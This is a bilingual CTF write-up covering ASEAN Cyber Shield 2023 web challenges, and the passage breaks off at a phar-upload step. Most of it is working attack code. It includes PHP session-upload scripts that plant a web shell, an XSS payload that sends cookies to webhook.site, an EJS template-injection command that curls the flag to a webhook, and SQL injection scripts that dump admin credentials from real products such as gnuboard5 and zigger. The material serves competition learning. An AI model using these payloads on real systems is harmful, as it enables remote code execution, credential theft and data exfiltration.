ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

WriteUp 5个月前 admin
79 0 0

 

Preliminary Round 初赛

Easy PHPINFO 简单的 PHPINFO

When browsing the challenge web app, we encounter with a PHP source code as follows:
在浏览挑战 Web 应用程序时,我们会遇到如下 PHP 源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
echo "<h2>Do you need phpinfo? ... or not?</h2>";

$num=$_GET['num'];
$page=$_GET['page'];

if(preg_match("/^[0-9+-\/\*e ]/i", $num)){
    exit("<h2>I hate number<h2>");
}

if(preg_match("/flag|\.|php|conf|\*|'|\"/i", $page)){
    exit("<h2>don't do that.</h2>");
}


if(is_numeric($num)){
    if($page==null){
        echo phpinfo();
    }else{
        include_once($page);
    }
}else{
    highlight_file(__FILE__);
}

?>

 

We need to find a way to bypass two (2) if conditions and get into the include_once function. Let’s take a look at the first function that we need to bypass:
我们需要找到一种方法来绕过两 (2) if 个条件并进入 include_once 函数。让我们看一下我们需要绕过的第一个函数:

is_numeric($num)

Before our variable $num get into the above function, this variable will go through the preg_match() function with the following regex:
在我们的变量进入上述函数之前,该变量 $num 将使用以下正则表达式通过 preg_match() 函数:

1
preg_match("/^[0-9+-\/\*e ]/i", $num)

 

By using online PHP Regex, we can identify and test each cases that has been filtered by this function.
通过使用在线PHP正则表达式,我们可以识别和测试被此函数过滤的每个案例。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Since it doesn’t blocked all characters, I can try look for URL encoded characters. By using a simple scripts, I identify few URL encoded characters that we can use to bypass is_numeric() with the regex that we have.
由于它没有阻止所有字符,因此我可以尝试查找 URL 编码的字符。通过使用一个简单的脚本,我识别了几个 URL 编码字符,我们可以用这些字符来绕过 is_numeric() 我们拥有的正则表达式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
%091
%0A1
%0B1
%0C1
%0D1
%201
%2B1
%2D1
%2E1
%301
%311
%321
%331
%341
%351
%361
%371
%381
%391

 

With this we can bypass the first filter!
有了这个,我们可以绕过第一个过滤器!

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

The next part, we need to read /flag, but again our variable $page will go through preg_match() as follow
下一部分,我们需要阅读 /flag ,但是我们的变量 $page 将按如下方式进行 preg_match()

1
preg_match("/flag|\.|php|conf|\*|'|\"/i", $page)

 

Looking at the PHPINFO result, we found that session.upload_progress.enabled == On and session.upload_progress.cleanup == Off. This lead us to few reference about LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS since the code also using session_start().
查看 PHPINFO 结果,我们发现 session.upload_progress.enabled == Onsession.upload_progress.cleanup == Off .这导致我们很少通过 PHP_SESSION_UPLOAD_PROGRESS 获得关于LFI2RCE的参考,因为代码还使用 session_start() .

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Script to exploit (RCE) If session.upload_progress.cleanup == Off
要利用的脚本 (RCE) If session.upload_progress.cleanup == Off

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests, sys, random, string, io 

host = sys.argv[1]
sess_save_path = '/tmp/83031eb8-41ac-11ee-b1b3-009337b0183d'
sess_id = ''.join(random.choice(string.digits) for _ in range(5))

cookies = { 'PHPSESSID': sess_id }
data = { 'PHP_SESSION_UPLOAD_PROGRESS': "<?php system($_GET['cmd']); ?>" }
files = { 'file': ('a', io.BytesIO(b'a')) }
requests.post(host, cookies=cookies, data=data, files=files)

params = {
  'num': '\x091',
  'page': sess_save_path + '/sess_' + sess_id,
  'cmd': 'cat /flag'
}
response = requests.get(host, cookies=cookies, params=params)

print(response.text)

 

Script to exploit (RCE) If session.upload_progress.cleanup == On
要利用的脚本 (RCE) If session.upload_progress.cleanup == On

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import io
import sys
import requests
import threading

TARGET = sys.argv[1]
sessid = 'cmd'
sess_save_path = '/tmp/83031eb8-41ac-11ee-b1b3-009337b0183d/sess_'+sessid

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 1000)
        session.post(
            TARGET,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php system($_GET[0]); ?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        session.get(f'{TARGET}?num=%091&page={sess_save_path}')
        response = session.get(TARGET+"/shell.php?0=cat+/flag")
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

 

I have a created a Dockerfile if you would like to play around with this exploit.
如果您想玩这个漏洞,我已经创建了一个 Dockerfile。

1
2
3
4
5
6
7
8
9
FROM php:7.4.33-apache
COPY index.php /var/www/html/
RUN echo "flag{fake}" > /flag
RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini
RUN sed -i 's/;session.save_path = "\/tmp"/session.save_path = "\/tmp\/83031eb8-41ac-11ee-b1b3-009337b0183d"/g' /usr/local/etc/php/php.ini
RUN sed -i 's/;session.upload_progress.cleanup = On/session.upload_progress.cleanup = Off/g' /usr/local/etc/php/php.ini
USER www-data
RUN mkdir /tmp/83031eb8-41ac-11ee-b1b3-009337b0183d
EXPOSE 80

 

References 引用

  1. https://blog.orange.tw/2018/10/
  2. https://xz.aliyun.com/t/9545

Capture The Image 捕获图像

Browsing the web challenge, we encounter with a page to send a link. Probabaly there is XSS involved in here?
浏览网络挑战时,我们遇到一个页面发送链接。这里可能涉及 XSS?

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Looking at the source code, we identify the following interesting endpoints
查看源代码,我们确定了以下有趣的端点

/submit (GET,POST): This endpoint is used to send the link to the bot. The bot have two (2) features, visit_with_cookies and visit_with_screencapture
/submit (GET,POST) :此终结点用于将链接发送到机器人。机器人有两 (2) 个功能, visit_with_cookies 并且 visit_with_screencapture

/api/test (GET): This endpoint accept one argument key. It will strip and replace few keywords such as script, onerror and frame.
/api/test (GET) :此端点接受一个参数 key 。它将去除并替换一些关键字,例如 scriptonerror frame

1
2
key = key.strip().lower()
key = key.replace('script','--').replace('onerror','--').replace('frame','--')

 

/captures (POST): This endpoint accept one argument filename. It will send the content of filename starting from directory captures.
/captures (POST) :此端点接受一个参数 filename 。它将从目录 captures 开始发送文件名的内容。

1
2
3
filename = request.form.get('filename')
if filename:
    return send_from_directory('captures', filename)

 

The idea right now is to capture the bot secret cookies, using the following XXS payload with onload and send as link to bot.
现在的想法是捕获机器人 secret cookie,使用以下 XXS 有效负载并 onload 作为链接发送到机器人。

1
http://127.0.0.1:22225/api/test?key=<svg on onload="a=document.cookie;fetch(`http://webhook.site/a7ab6dad-6104-4e6b-a8c1-444a208a9d01/?c=`%2Ba)"></svg>

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

By getting the secret cookies we can now access the second feature visit_with_screencapture. The second feature will browser.get(url), so if we could send file:///etc/passwd to the bot, we could get screenshot of /etc/passwd. But we can’t do that as it will block certain schemes and use urlparse() to get our URL schemes.
通过获取cookie, secret 我们现在可以访问第二个功能 visit_with_screencapture 。第二个功能将 browser.get(url) ,所以如果我们能发送到 file:///etc/passwd 机器人,我们可以得到 /etc/passwd .但是我们不能这样做,因为它会阻止某些方案并用于 urlparse() 获取我们的 URL 方案。

links.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
block_schemes = ["file", "gopher", "blob", "ftp", "glob", "data"]
block_host = ["localhost"]
input_scheme = urlparse(link_submitted).scheme
input_hostname = urlparse(link_submitted).hostname

if '://' not in link_submitted or 
    input_scheme in block_schemes or 
    input_hostname in block_host:
            return render_template('submit.html', message = "Link is not correct.", config = config)

if request.form.get('archive') == 'Y':
    uid = str(uuid4())
    message = message + "\nUID : " + uid
    t1 = threading.Thread(target = visit_with_screencapture, args = (link_submitted,request.form['secret'],uid,))
    t1.start()

 

headless.py

1
2
3
4
5
6
7
8
9
10
11
def visit_with_screencapture(link_submitted, secret, uid):
    url = link_submitted.strip()
    if secret == config['secret']:
        try:
            browser.set_page_load_timeout(15)
            browser.get(config['host'])
            browser.get(url)
            sleep(1)
            filename = "captures/"+uid+".png"
            browser.get_screenshot_as_file(filename)
            browser.quit()

 

We found out that urlparse() got a vulnerability recently this year Python Parsing Error Enabling Bypass CVE-2023-24329. Using this vulnerability we could easily bypass the block schemes. Below are the final payload to read the flag.
我们发现今年最近遇到了一个漏洞, urlparse() Python 解析错误启用绕过 CVE-2023-24329。利用这个漏洞,我们可以很容易地绕过阻止方案。以下是读取标志的最终有效载荷。

1
link= file:///flag&archive=Y&secret=redacted

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Use the UID output in the response and retrieve the file using endpoints /captures
在响应中使用 UID 输出,并使用终结点 /captures 检索文件

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

References: 引用:

  1. https://kb.cert.org/vuls/id/127587
  2. https://github.com/python/cpython/issues/102153

RenderBoard 渲染板

Browsing the web page, we can see login page.
浏览网页,我们可以看到登录页面。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Looking at the source code, we identify a possible SQL injection in /check_duplicate endpoint as the variable id directly go into the SQL query but with some restrictions.
查看源代码,我们发现端点中 /check_duplicate 可能存在 SQL 注入,因为变量 id 直接进入 SQL 查询,但有一些限制。

1
2
3
4
5
6
7
8
9
10
11
router.post('/check_duplicate', function (request, response) {
    try{
        const id1 = request.body.username;
        if (id1.match(/'|_|or| |and|%20|\.|\(|\)/i)) {
            response.status(400).json({ error: 'Invalid input' });
            return;
        }
        const id2 = id1.replace(new RegExp('substr|mid|like|char|hex|ord', 'gi'), '');
        const id = decodeURIComponent(id2);
        const query = `SELECT * FROM user WHERE redacted1 = '${id}'`;
        db.query(query, function (error, results, fields) {

 

The parameter username will go through a regex that will restrict some of our input. But this can easily bypass with URL encoded characters as at the end it will use decodeURIComponent() function to URL decoded it back.
该参数 username 将通过一个正则表达式,该正则表达式将限制我们的一些输入。但这可以很容易地绕过 URL 编码字符,因为最后它将使用 decodeURIComponent() 函数将其 URL 解码回来。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

With this in knowledge, we created a script to extract the username and password of an admin. One thing to take note the columns of the user tables are different from the one we have. So we will need to enumerate the columns name too.
有了这些知识,我们创建了一个脚本来提取管理员的用户名和密码。需要注意的一点是,用户表的列与我们拥有的列不同。因此,我们也需要枚举列名。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests, sys
import urllib3,urllib
import string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def encode_all(string):
    a = "".join("%{0:0>2x}".format(ord(char)) for char in string)
    return a.replace("%20","/**/")

def sqli(q_left,chars):    
    # Register an account first with random userid
    data = """654321' and (%s)='%s""" % (q_left, chars)
    data = encode_all(data)
    data2 = {"username":data}
    r = requests.post(TARGET,data=data2)
    return "searchid" in r.text

def exploit(TARGET,SQL_TEMPLATE):
    i = 1
    dumped = ""
    dumped2 = ""
    while True:
        for chars in string.printable:
            if sqli(SQL_TEMPLATE%i,chars):      
                dumped += chars
                i+=1
                break
        if dumped == dumped2:
            break
        dumped2 = dumped
    return dumped

if __name__ == "__main__":
    TARGET = sys.argv[1]+"/auth/check_duplicate"

    # Enumerate Columns
    SQL_TEMPLATE = "select substr((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'acs_data' and table_name = 'user'),%s,1)"
    print(exploit(TARGET,SQL_TEMPLATE))

    # Enumerate username and password of admin
    SQL_TEMPLATE = "select substr((select group_concat(userid,':',passwd) from user where is_admin=1),%s,1)"
    print(exploit(TARGET,SQL_TEMPLATE))

 

Now, we have the credentials of an admin to login! Looking at package.json, we notice the version of ejs == 3.1.6. This version is popular with a vulnerability that lead to RCE. More explanation can be found in here. Grep for render and req give us one possible injection in endpoint admin_board_detail
现在,我们有了管理员的凭据来登录!查看 package.json ,我们注意到 ejs == 3.1.6 的版本。此版本很受欢迎,存在导致 RCE .更多解释可以在这里找到。Grep for render 并在 req 终点 admin_board_detail 中给我们一个可能的注入

1
2
└─$ grep -Hnri "\.render" | grep -i req
main.js:152:    res.render('admin_board_detail', { ...req.query, post: result[0], isAdmin });

 

Let’s try craft a simple payload just to check if we could set delimiter=NotExistsDelimiter
让我们尝试制作一个简单的有效载荷,只是为了检查我们是否可以设置 delimiter=NotExistsDelimiter

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Now, we can craft a payload to get our flag
现在,我们可以制作一个有效载荷来获取我们的标志

1
2
3
4
5
# Exfiltrate /flag.txt
/main/admin_notice/detail?no=1&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('curl "https://<webhook>/?c="`cat /flag.txt | base64 -w0`')

# Output the flag on the page (error)
main/admin_notice/detail?no=1&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('`cat /flag.txt`')

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

References: 引用:

  1. https://security.snyk.io/vuln/SNYK-JS-EJS-2803307

Flask Newbie Flask 新手

When browsing the web page, we can see there are 3 tabs of home, board and login. For this challenge we didn’t receive any source code.
在浏览网页时,我们可以看到 home 有 3 个选项卡 , boardlogin 。对于这个挑战,我们没有收到任何源代码。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

While enumerating the web app, we identified the endpoint /<random> will show filtered in the response when we entered a number.
在枚举 Web 应用时,我们确定终结点 /<random> 将在输入数字时显示在 filtered 响应中。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

This indicates there is SSTI on that endpoints. We noticed we can only use {} and alphabets characters. Next, we tried to look at the {{config}} and found out that there is JWT_SECRET_KEY
这表示该端点上有 SSTI。我们注意到我们只能使用 {} 字母字符。接下来,我们试着看了一下, {{config}} 发现有 JWT_SECRET_KEY

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Maybe with this secret_key we could login as admin? After register an account, we tried to change the value of sub to poppo. The main reason because the web app was created by poppo so we assume he is an admin himself.
也许有了这个 secret_key ,我们可以以管理员身份登录?注册账号后,我们尝试将 sub 的值 poppo 更改为 。主要原因是因为 Web 应用程序是由创建的, poppo 因此我们假设他本人是管理员。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Using the admin user, we can now using the admin only feature which is write
使用 admin 用户,我们现在可以使用 admin only 以下功能: write

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

When using this upload feature, we tried various approach and notice that there is 502 error when using ../ in our filename.
使用此上传功能时,我们尝试了各种方法,并注意到在文件名中使用 ../ 时存在 502 错误。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Probably this web app enable debug = True, with this we gained some insights on how they sanitize the filename.
可能这个 Web 应用程序启用 debug = True 了 ,通过这个,我们获得了一些关于他们如何清理 filename .

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

We can use .+./.+./fl+ag to get /flag
我们可以用来 .+./.+./fl+ag 获得 /flag

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

The file is a binary so we can download it and execute it to get our flag.
该文件是一个二进制文件,因此我们可以下载它并执行它以获取我们的标志。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Trick or Trick 捣蛋或把戏

By the time of writing this writeup after the event, I don’t have the full source code for this challenge. During the event, we didn’t manage to solve the challenge but the flag probably somewhere in the server and we need to bypass the restrictions to get into include $include. On first day, we stuck at the rabbit hole and get the flag{fakeflag}. Let’s first get all the important codes to get into include.
在活动结束后写这篇文章时,我还没有这个挑战的完整源代码。在活动期间,我们没有设法解决挑战,但标志可能在服务器的某个地方,我们需要绕过限制才能进入 include $include 。第一天,我们被困在兔子洞里,得到了 flag{fakeflag} .让我们首先获取所有重要代码。 include

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Check if the $_SERVER['REQUEST_URI'] includes login2, SERVER, %
if(preg_match('/login2|SERVER|\%/i',$_SERVER['REQUEST_URI'])) die('[!] No hacking');

// Use extract() with $_GET variable
extract($_GET);

// Setting $secretid and $secretpw
$secretid = "admin";
$secretpw = rand(10000,99999);

// If get this value correctly $login will become 1
if(($secretid == $_GET['id']) and ($secretpw == $_GET['pw'])) $login = 1;

// Bypass this to get into include $include.
if($login == 1 && $_GET['login2'] == 2){
    disallow($include);
    include $include;
}

 

Looking at the codes, we can try bruteforce rand(10000,99999) and get the correct value which will get us $login == 1. But that’s might not be the intended ways and we still need to have $_GET['login2'] == 2 which is impossible with the preg_match() will block us to do so.
查看代码,我们可以尝试蛮力 rand(10000,99999) 并获得正确的值,这将得到我们 $login == 1 。但这可能不是预期的方式,我们仍然需要这样做,这是不可能的, preg_match() 因为意志会阻止我们这样做 $_GET['login2'] == 2

One interesting function used in this challenge is extract(), to get more understanding you can read in here
此挑战中使用的一个有趣的函数是 extract() ,为了获得更多的理解,您可以阅读 这里

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

During the competition I only tested on my machine to bypass the restrictions by using the following codes.
在比赛期间,我只在我的机器上测试了使用以下代码绕过限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// Check if the $_SERVER['REQUEST_URI'] includes login2, SERVER, %
if(preg_match('/login2|SERVER|\%/i',$_SERVER['REQUEST_URI'])) die('[!] No hacking');

// Use extract() with $_GET variable
extract($_GET);

echo "\$login = ";
echo var_dump($login);
echo " | \$_GET['login2'] = " ;
echo var_dump($_GET['login2']);

// Bypass this to get into include $include.
if($login == 1 && $_GET['login2'] == 2){
    disallow($include);
    include $include;
}
?>

 

But it always give my an error when trying to set the $_GET == 2 with using my Kali’s PHP.
但是在尝试使用我的 Kali 的 PHP 设置 $_GET == 2 with 时,它总是给我一个错误。

1
FROM php:8.2.10-apache

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

After changing the PHP version to 7.4.33, I got different results. Probably the challenge’s server using the old version of PHP.
将PHP版本更改为 7.4.33 后,我得到了不同的结果。可能是挑战的服务器使用旧版本的 PHP。

1
FROM php:7.4.33-apache

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Nice, with this I can now focus on getting the flag but I don’t have the code for function disallow() (T_T) . Let’s assume that function will disallow us to start with certain wrapper such as php://. Thus we can can use PHP:// and get our flag!
很好,有了这个,我现在可以专注于获取标志,但我没有函数 disallow() (T_T)的代码。假设该函数将不允许我们从某些包装器开始,例如 php:// .因此,我们可以使用 PHP:// 并获得我们的旗帜!

1
2
└─$ curl -s "localhost/?login=1&_GET=2&include=PHP://filter/convert.base64-encode/resource=flag.php" | base64 -d
flag{fake}

 

I have a created a Dockerfile if you would like to play around with this exploit.
如果您想玩这个漏洞,我已经创建了一个 Dockerfile。

index.php 索引.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
   function disallow($input) {
        // Check if the input starts with "php://"
        if (strpos($input, 'php://') === 0) {
             exit; // Disallow
        }
   }

    session_start();
    error_reporting(0);
    $time = 600;
    $now = time();
    
    if (isset($_SESSION['last_activity']) && ($now - $_SESSION['last_activity']) > $time) {
        session_unset(); session_destroy();
    }
    $_SESSION['last_activity'] = $now;
    if($_SERVER['REQUESTS_URI'] === '/') {
        header('Location: /index.php');
        exit;
    }
    if(preg_match('/login2|SERVER|\%/i',$_SERVER['REQUEST_URI'])) die('[!] No hacking');

    extract($_GET);
    $secretid = "admin";
    $secretpw = rand(10000,99999);
    
    if (!isset($_SESSION['guestpw'])) {
        $_SESSION['guestpw'] = rand(1000, 9999);
    }
    $guestpw = $_SESSION['guestpw'];

    if(($secretid == $_GET['id']) and ($secretpw == $_GET['pw'])) $login = 1;

    if($login == 1 && $_GET['login2'] == 2){
        disallow($include);
        include $include;
    }
    else if ($_POST['id'] === 'guest' && $_POST['pw'] === strval($guestpw)) {
        echo "<div class='message'>Login Success<hr></div>";
        result_();
    }
    else {
        echo "<div class='message'>Login Fail<hr></div>";
    }
?>

 

Dockerfile Docker文件

1
2
3
4
5
FROM php:7.4.33-apache
COPY index.php /var/www/html/
RUN echo "flag{fake}" > /var/www/html/flag.php
RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini
EXPOSE 80

 

Final Round 决赛

Zerggling 虫族

We received the source code of this application gnuboard5 == v5.8.2.5
我们收到了这个应用程序 gnuboard5 == v5.8.2.5 的源代码

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Looking at the internet, we found out there is a vulnerability involved with SQL Injection in version v5.8.2.6 in here with KVE-2023-0046.
在互联网上,我们发现 KVE-2023-0046 的版本 v5.8.2.6 中存在一个与 SQL 注入相关的漏洞。

  1. mobile/shop/listtype.php

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

  1. shop/listtype.php

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

The name of the challenge give us a hint that it might also involved with type juggling as it fix == to ===. When accessing /shop/listtype.php?type=1a2 we will get the result of $type == 1.
挑战的名称给了我们一个提示,它可能也涉及类型杂耍,因为它固定 ===== .访问 /shop/listtype.php?type=1a2 时,我们将得到 $type == 1 的结果。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Since it using ==, we could use this for our SQL Injection later. Also the PHP version of the docker instance is PHP 7.4.3.
由于它使用 == ,我们可以稍后将其用于 SQL 注入。此外,docker 实例的 PHP 版本是 PHP 7.4.3 .

1
2
3
4
5
6
php > echo var_dump("1" == 1);
bool(true)
php > echo var_dump("1a" == 1);
bool(true)
php > echo var_dump("1abasasdasdasd" == 1);
bool(true)

 

Nice, now we could bypass the ==. But where is the SQL injection? A good method that I always use is by enabling the SQL error log.
很好,现在我们可以绕过. == 但是SQL注入在哪里?我经常使用的一个好方法是启用 SQL 错误日志。

1
2
3
4
5
sudo docker exec -it <docker_id> mariadb --user root -pgnuboard

SET global general_log = on;
SET global general_log_file='/var/log/mysql/mysql.log';
SET global log_output = 'file';

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

By accessing /shop/listtype.php?type=1a23, we can identify in the mysql.log where is the SQL injection located. Our input was inserted in it_type<here>.
通过访问 /shop/listtype.php?type=1a23 ,我们可以确定 mysql.log SQL 注入的位置。我们的输入入到 it_type<here> .

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Nice, we could craft a payload in here to restrieve the flag in flag table. But we now encounter with one restrictions. Our inputs can’t use ' but since it using SELECT, we could use this with UNION.
很好,我们可以在这里制作一个有效载荷来缓解表中的 flag 负载 flag 。但是我们现在遇到了一个限制。我们的输入不能使用 ' ,但既然它使用 SELECT ,我们可以将其与 UNION 一起使用。

1
$type = isset($_REQUEST['type']) ? preg_replace("/[\<\>\'\"\\\'\\\"\%\=\(\)\s]/", "", $_REQUEST['type']) : '';

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

After looking g5_shop_item table, it has 90 columns and we can try look at which columns will be reflected on the page or we can even not doing in that way.
查看表格后,它有 90 列,我们可以尝试查看 g5_shop_item 哪些列将反映在页面上,或者我们甚至可以不以这种方式这样做。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

At first, we encounter an error unknown column because it_type1a123 is not exists in table g5_shop_item.
首先,我们遇到一个错误 unknown column ,因为 it_type1a123g5_shop_item 中不存在。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

After enumerate the tables, we identify the best column to use which is it_type1.
枚举表后,我们确定要使用的最佳列 it_type1 是 。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

The full script to get the flag as shown below
获取标志的完整脚本,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests, sys
import urllib.parse

payload = "1"
payload += " union select "
payload += "flag,"*89
payload += "flag FROM FLAG#"
payload = payload.replace(" ","/**/")
payload = urllib.parse.quote(payload)

r = requests.get(sys.argv[1]+"/shop/listtype.php?type="+payload)
if "ACS" in r.text:
    print(r.text)

 

1
2
└─$ python3 exploit.py http://192.168.48.130:20002 | grep -i 'ACS{'
ACS{fake_flag}

 

Zigger Zagger 齐格·扎格尔

We received the source code of this application zigger == v2.4.3 in here. We found out that there are some critical vulnerabilities patched in v2.4.5.
我们在这里收到了这个应用程序 zigger == v2.4.3 的源代码。我们发现 v2.4.5 中修补了一些关键漏洞。

1
2
3
4
[Complementary measures based on recommendations from the Korea Internet & Security Agency]
- A security issue was discovered in the set_password() method and patched
- Security issues were found in record_dataupload() and record_datadrop() methods and patched
- An issue vulnerable to injection attacks was discovered when downloading attachments from the bulletin board, so this was patched

 

To exactly identify the vulnerable files and patches, we decided to do code diffing on version v2.4.3 and v2.4.5. Im using meld which really easy to install sudo apt install meld.
为了准确识别易受攻击的文件和补丁,我们决定 code diffing 对 version v2.4.3v2.4.5 进行处理。我使用 meld 它非常容易安装 sudo apt install meld

Download : v2.4.4 下载 : v2.4.4

Download : v2.4.5 下载 : v2.4.5

We found several files that might be interesting for us to get the flag. The first file we found located in lib/pdo.class.php
我们找到了几个文件,这些文件可能对我们获取标志感兴趣。我们找到的第一个文件位于 lib/pdo.class.php

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

We found out that the function set_password() has been used in the login function.
我们发现该功能已在登录功能 set_password() 中使用。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Nice, now we could abuse the password to bypass the authentication since it using the set_password().
很好,现在我们可以滥用 password 绕过身份验证,因为它使用 set_password() .

Full script to bypass the authencation:
绕过身份验证的完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests,sys
import urllib3,urllib
import string
import io
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def auth_bypass(TARGET):
	data = """x'))))) or 1=1#"""
	headers = {
    	"Referer":TARGET
	}
	data2 = {
        	"redirect":"%2F",
        	"id":"admin",
        	"pwd":data
        	}
	r = session.post(TARGET+"/sign/signin-submit?rewritetype=submit",data=data2,headers=headers)
	return "alert->location" in r.text

session = requests.Session()

if __name__ == "__main__":
    TARGET = sys.argv[1]
    if auth_bypass(TARGET):
        print(session.cookies)
        print("Bypass authentication")

 

1
2
3
└─$ python3 bypass_authentication.py http://192.168.48.130:22030
<RequestsCookieJar[<Cookie PHPSESSID=p9n41hva9q7b4v4n48hv4r2pph for 192.168.48.130/>]>
Bypass authentication

 

I tried to read the flag by abusing this SQL injection, but I’m not really sure why it’s not working. Also, reading all writeup from others team, they don’t even need to bypass this authentication. The next SQLi vulnerable endpoint can be exploit and get the flag. It’s located in mod/board/controller/file.php
我试图通过滥用此SQL注入来读取该标志,但我不确定为什么它不起作用。此外,阅读其他团队的所有文章,他们甚至不需要绕过此身份验证。下一个 SQLi 易受攻击的端点可能被利用并获取标志。它位于 mod/board/controller/file.php

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

We found an endpoint that use board_id (GET request) with NO AUTHENTICATION needed. Since it gave us an error in the response we could extract the flag using the following payloads.
我们发现了一个使用 board_idGET request) 且不需要身份验证的端点。由于它在响应中给了我们一个错误,我们可以使用以下有效负载提取标志。

List of Payloads: 有效载荷列表:

1
2
3
4
5
6
7
8
# (1) updatexml()
/mod/board/controller/result/result?board_id=123123' and updatexml(null,concat(0x0a,(select flag from flag)),null)-- -

# (2) extractvalue()
mod/board/controller/result/result?board_id=123123' and extractvalue(rand(),concat(0x3a,(SELECT flag FROM flag)))-- -

# (3) Basic
mod/board/controller/result/result?board_id=123123' or (select 1 and row(1,1)>(select count(*),concat(CONCAT((select flag from flag)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- -

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Easy? Web CMS Shell 容易?Web CMS 外壳

We received the source code of this application xpressengine == v3.0.14 in here. We found out that there are some patches in v3.0.15 that added .phar extensions into blacklisted extensions.
我们在这里收到了这个应用程序 xpressengine == v3.0.14 的源代码。我们发现 v3.0.15 中有一些补丁将扩展添加到 .phar 列入黑名单的扩展中。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Searching around, we found some hints where the upload function located in CVE-2021-26642
四处搜索,我们发现了一些提示, upload 该函数位于 CVE-2021-26642 中

1
When uploading an image file to a bulletin board developed with XpressEngine, a vulnerability in which an arbitrary file can be uploaded due to insufficient verification of the file. A remote attacker can use this vulnerability to execute arbitrary code on the server where the bulletin board is running.

 

To access the bulletin board, we need to register and login first.
要访问公告板,我们需要先注册并登录。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

We found an endpoint to create a new board in /board/create. There are two (2) items we can upload either Attachements or Media Library.
我们在 中找到 /board/create 了一个端点来创建一个新板。我们可以上传两 (2) 个项目,或者 Attachements Media Library .

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

At first, we tried to upload a .jpg file at /media_library/file and in the response it reflected the full path with the filename to access the image file.
起初,我们尝试上传 /media_library/file 一个 .jpg 文件,在响应中,它反映了带有文件名的完整路径,以访问图像文件。

1
/storage/app/public/media/public/media_library/19/61/20231126201643cee1cac995540c33e06d792e077297bd31e7e504.jpg

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Since the version that we have doesn’t blacklisted .phar yet, we can try upload the following codes with filenames consists of .phar extensions.
